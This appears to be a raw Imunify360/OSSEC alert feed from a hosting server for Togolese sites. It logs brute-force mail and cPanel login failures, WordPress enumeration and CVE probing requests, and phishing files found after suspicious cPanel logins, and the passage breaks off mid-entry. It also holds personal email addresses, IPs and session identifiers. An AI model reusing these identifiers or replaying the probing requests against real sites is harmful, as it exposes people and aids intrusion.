2026-06-08 10:42:37 H=([84.54.70.34]) [84.54.70.34]:23038 F=<John@4452.com> rejected RCPT <evendeur@soena.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.134.56.240
country_id: 1880251
description:
43.134.56.240 - - [08/Jun/2026:10:42:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934184&pdata=https%253A%252F%252Flaunetogo.tg%252Ftogo-arcep-une-station-mobile-de-controle-des-frequences-bientot-operationnelle-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780915370 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/togo-arcep-une-station-mobile-de-controle-des-frequences-bientot-operationnelle-au-togo/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.134.56.240


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.25.120
country_id: 933860
description:
Jun  8 10:43:41 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.25.120 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 182.186.101.179
country_id: 1168579
description:
2026-06-08 10:43:00 H=([182.186.101.179]) [182.186.101.179]:58522 F=<John@4452.com> rejected RCPT <kpip@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-08 10:44:01 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:42282: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.157.51.10
country_id: 1522867
description:
2026-06-08 10:44:14 H=([213.157.51.10]) [213.157.51.10]:65040 F=<John@4452.com> rejected RCPT <welldrive@confortis.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.217.6
country_id: 2363686
description:
[2026-06-08 10:44:30 +0000] info [webmaild] 196.168.217.6 - marchespublics@dagl.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.25.120
country_id: 933860
description:
Jun  8 10:43:55 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.25.120 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:44:20 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:63097: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.16.229.133
country_id: 2017370
description:
2026-06-08 10:45:23 H=([46.16.229.133]) [46.16.229.133]:52627 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:45:19 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:63098: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:46:17 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:2822: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:46:22 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:63101: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.151.181
country_id: 2363686
description:
2026-06-08 10:46:46 dovecot_login authenticator failed for H=(Yoga) [102.64.151.181]:50409: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:47:26 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:2839: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.214.50.90
country_id: 3658394
description:
2026-06-08 10:47:33 dovecot_plain authenticator failed for H=90.50.214.190.static.anycast.cnt-grms.ec (dgdn-togo.tg) [190.214.50.90]:49714: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.159.246.6
country_id: 192950
description:
2026-06-08 10:47:42 dovecot_plain authenticator failed for H=(dgdn-togo.tg) [154.159.246.6]:38423: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.151.181
country_id: 2363686
description:
2026-06-08 10:47:43 dovecot_login authenticator failed for H=(Yoga) [102.64.151.181]:50424: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:48:29 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:2844: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 173.244.159.189
country_id: 1522867
description:
2026-06-08 10:48:37 H=([173.244.159.189]) [173.244.159.189]:54417 F=<John@4452.com> rejected RCPT <info@soena.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:49:24 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:63107: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:49:29 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:2861: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 10:50:05 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:55979: 535 Incorrect authentication data (set_id=auditores)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:50:31 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:2878: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:51:30 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:2882: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.194.34
country_id: 2363686
description:
[2026-06-08 10:50:58 +0000] info [whostmgrd] 196.168.194.34 - root "GET /cpsess9543198679/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [80.248.64.198] != Current IP Address [196.168.194.34]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.157.51.10
country_id: 1522867
description:
2026-06-08 10:51:08 H=([213.157.51.10]) [213.157.51.10]:52331 F=<John@4452.com> rejected RCPT <welldrive@confortis.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:52:32 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:2883: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 216.189.152.23
country_id: 6252001
description:
[2026-06-08 10:52:44 +0000] info [cpaneld] 216.189.152.23 NEW wwayrzpl:wr5AOTlTiTNBdISr address=216.189.152.23,app=cpaneld,creator=wwayrzpl,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.125
country_id: 2635167
description:
[2026-06-08 10:52:29 +0000] info [cpaneld] 5.230.153.125 NEW wwayrzpl:XyfvnU21dxwDLyiQ address=5.230.153.125,app=cpaneld,creator=wwayrzpl,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:53:42 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:2905: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:54:27 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:63110: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:54:52 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:2909: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.111.248
country_id: 3469034
description:
Jun  8 10:54:17 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.111.248 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 52.34.76.65
country_id: 6252001
description:
52.34.76.65 - - [08/Jun/2026:10:54:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184342&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780916065 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.34.76.65


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 182.186.101.179
country_id: 1168579
description:
2026-06-08 10:55:09 H=([182.186.101.179]) [182.186.101.179]:35589 F=<John@4452.com> rejected RCPT <kpip@emt.tg>: Sender verify failed


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 65.181.116.20
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.15||T:APACHE||REQUEST_URI:/wp-content/plugins/phone-orders-for-woocommerce-pro/readme.txt||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 173.244.159.189
country_id: 1522867
description:
2026-06-08 10:56:37 H=([173.244.159.189]) [173.244.159.189]:12274 F=<John@4452.com> rejected RCPT <info@soena.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 182.186.101.179
country_id: 1168579
description:
2026-06-08 10:56:46 H=([182.186.101.179]) [182.186.101.179]:37289 F=<John@4452.com> rejected RCPT <kpip@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:57:21 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:2911: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Take Your King-Sized Bet Reward eropolik.blogspot.tw of||Email:akinyeleopeyemi@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:10-57.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:58:23 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:2912: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 156.38.87.79
country_id: 2363686
description:
[2026-06-08 10:58:07 +0000] info [cpaneld] 156.38.87.79 - sxoyfjqv "GET /cpsess5939821300/frontend/jupiter/email_accounts/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [41.78.136.107] != Current IP Address [156.38.87.79]


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 156.38.87.79
country_id: 2363686
description:
[2026-06-08 10:58:12 +0000] info [cpaneld] 156.38.87.79 NEW sxoyfjqv:GVviuqMjOrsxgs8U address=156.38.87.79,app=cpaneld,creator=sxoyfjqv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:59:27 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:2915: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.29.120
country_id: 2363686
description:
[2026-06-08 10:59:10 +0000] info [webmaild] 196.170.29.120 - emt@emt.tg "GET /cpsess6657688824/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 11:00:24 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:2916: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 194.0.189.4
country_id: 1522867
description:
2026-06-08 11:00:34 H=([0.0.0.0]) [194.0.189.4]:20364 F=<John@4452.com> rejected RCPT <info@soena.tg>: Sender verify failed


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.194.34
country_id: 2363686
description:
[2026-06-08 11:01:17 +0000] info [whostmgrd] 196.168.194.34 - root "GET /cpsess9543198679/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [80.248.64.198] != Current IP Address [196.168.194.34]


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.97.224
country_id: 1880251
domain: 24heureinfo.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.194.34
country_id: 2363686
description:
[2026-06-08 11:01:53 +0000] info [whostmgrd] 196.168.194.34 - root "GET /cpsess9543198679/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [80.248.64.198] != Current IP Address [196.168.194.34]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 11:02:51 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:64242: 535 Incorrect authentication data (set_id=test1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 11:03:26 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:5504: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.194.34
country_id: 2363686
description:
[2026-06-08 11:02:52 +0000] info [whostmgrd] 196.168.194.34 - root "GET /cpsess9543198679/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [80.248.64.198] != Current IP Address [196.168.194.34]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.50.161.232
country_id: 6252001
description:
[2026-06-08 11:03:00 +0000] info [cpaneld] 209.50.161.232 - k.eklou "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.186.126
country_id: 6252001
description:
47.251.186.126 - - [08/Jun/2026:11:03:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856099&pdata=http%253A%252F%252Farse.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780916596 HTTP/1.1" 302 0 arse.tg "http://arse.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.186.126


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.194.34
country_id: 2363686
description:
[2026-06-08 11:03:52 +0000] info [whostmgrd] 196.168.194.34 - root "GET /cpsess9543198679/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [80.248.64.198] != Current IP Address [196.168.194.34]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.155.240
country_id: 2750405
description:
[2026-06-08 11:04:38 +0000] info [cpaneld] 104.28.155.240 - myxlsnta "GET /frontend/paper_lantern/security/two_factor_auth/index.html HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 11:04:37 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:9600: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.3.98.10
country_id: 1036973
description:
2026-06-08 11:05:56 H=([196.3.98.10]) [196.3.98.10]:63290 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 11:08:17 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:14343: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.219
country_id: 2635167
description:
[2026-06-08 11:08:30 +0000] info [cpaneld] 5.230.153.219 NEW cafeitadm:W6jBpmBEqQVUKNtP address=5.230.153.219,app=cpaneld,creator=cafeitadm,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.177
country_id: 2635167
domain: cafeit.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cafeitadm/public_html/.059277646216857.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.14
country_id: 2635167
description:
[2026-06-08 11:08:02 +0000] info [cpaneld] 5.230.133.14 NEW hphhdcxi:X2xSVIS9EpnlPlpT address=5.230.133.14,app=cpaneld,creator=hphhdcxi,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 107.174.169.229
country_id: 6252001
domain: test.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/hphhdcxi/public_html/.882966248610860.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.201
country_id: 2921044
description:
[2026-06-08 11:08:04 +0000] info [cpaneld] 5.175.229.201 NEW sodigaz:_8xNvN7gBAxdnGaz address=5.175.229.201,app=cpaneld,creator=sodigaz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 11:09:47 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:12928: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.132
country_id: 1880251
description:
47.128.96.132 - - [08/Jun/2026:11:11:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9805768&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fquarantaine-obligatoire-a-laeroport-de-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780917088 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/quarantaine-obligatoire-a-laeroport-de-lome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.132


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.12
country_id: 1880251
description:
47.128.96.12 - - [08/Jun/2026:11:12:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12936601&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fquarantaine-obligatoire-a-laeroport-de-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780917136 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/quarantaine-obligatoire-a-laeroport-de-lome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.12


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.157
country_id: 1880251
description:
47.128.96.157 - - [08/Jun/2026:11:11:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000227&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Flunion-africaine%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780917117 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/lunion-africaine/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.157


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.130.148.90
country_id: 2017370
description:
2026-06-08 11:12:42 H=([188.130.163.70]) [188.130.148.90]:55885 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.177
country_id: 2635167
description:
[2026-06-08 11:14:24 +0000] info [cpaneld] 5.230.133.177 NEW rbnbkmre:wy7k0icJGgeYtyd4 address=5.230.133.177,app=cpaneld,creator=rbnbkmre,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77317977
name: IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)
abuser: 196.171.57.253
country_id: 2363686
domain: educplusmedia.tg
description:
IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)||RSV:8.15||T:APACHE||User:ylhgcaui||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.24
country_id: 6252001
description:
[2026-06-08 11:16:27 +0000] info [cpaneld] 64.44.62.24 NEW cafeitadm:_UxKxSMijEonC_xF address=64.44.62.24,app=cpaneld,creator=cafeitadm,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.57.253
country_id: 2363686
domain: educplusmedia.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users/1?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 11:16:01 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:57418: 535 Incorrect authentication data (set_id=test1)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.75
country_id: 2635167
description:
[2026-06-08 11:16:26 +0000] info [cpaneld] 5.230.133.75 NEW cafeitadm:r1UBR9aq4C8kfjhr address=5.230.133.75,app=cpaneld,creator=cafeitadm,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 5.161.103.15
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.7778.96 Safari/537.36||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 162.212.156.59
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:11-18.162.212.156.59||RSV:8.15||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 162.212.156.59
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:162.212.156.59||TA:162.212.156.59||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 11:18:10 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:54523: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 197.250.51.190
country_id: 149590
description:
2026-06-08 11:19:39 H=([197.250.226.14]) [197.250.51.190]:12035 F=<John@4452.com> rejected RCPT <ferdinand.ali@agou1.mairie.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.206
country_id: 1880251
description:
47.128.96.206 - - [08/Jun/2026:11:20:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870998&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Famnesty-international-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780917602 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/amnesty-international-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.206


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.140
country_id: 6252001
description:
[2026-06-08 11:20:43 +0000] info [cpaneld] 107.175.5.140 NEW uljcqiuy:ap_8FGRn5ze1bWab address=107.175.5.140,app=cpaneld,creator=uljcqiuy,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 198.71.63.167
country_id: 6252001
description:
[2026-06-08 11:20:49 +0000] info [webmaild] 198.71.63.167 - roundcube "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid webmail user roundcube (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 11:21:37 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:9857: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.3.98.10
country_id: 1036973
description:
2026-06-08 11:21:43 H=([196.3.98.10]) [196.3.98.10]:58580 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.42.19.17
country_id: 2635167
description:
2026-06-08 11:22:15 dovecot_plain authenticator failed for H=d7148.lon1.stableserver.net (jg441ll6c68m26zgjlk89i) [209.42.19.17]:34928: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.211.16
country_id: 6252001
description:
2026-06-08 11:22:38 dovecot_login authenticator failed for H=(WuzAka1k) [158.94.211.16]:61884: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.211.16
country_id: 6252001
description:
Jun  8 11:22:43 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.211.16 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.154.125
country_id: 953987
description:
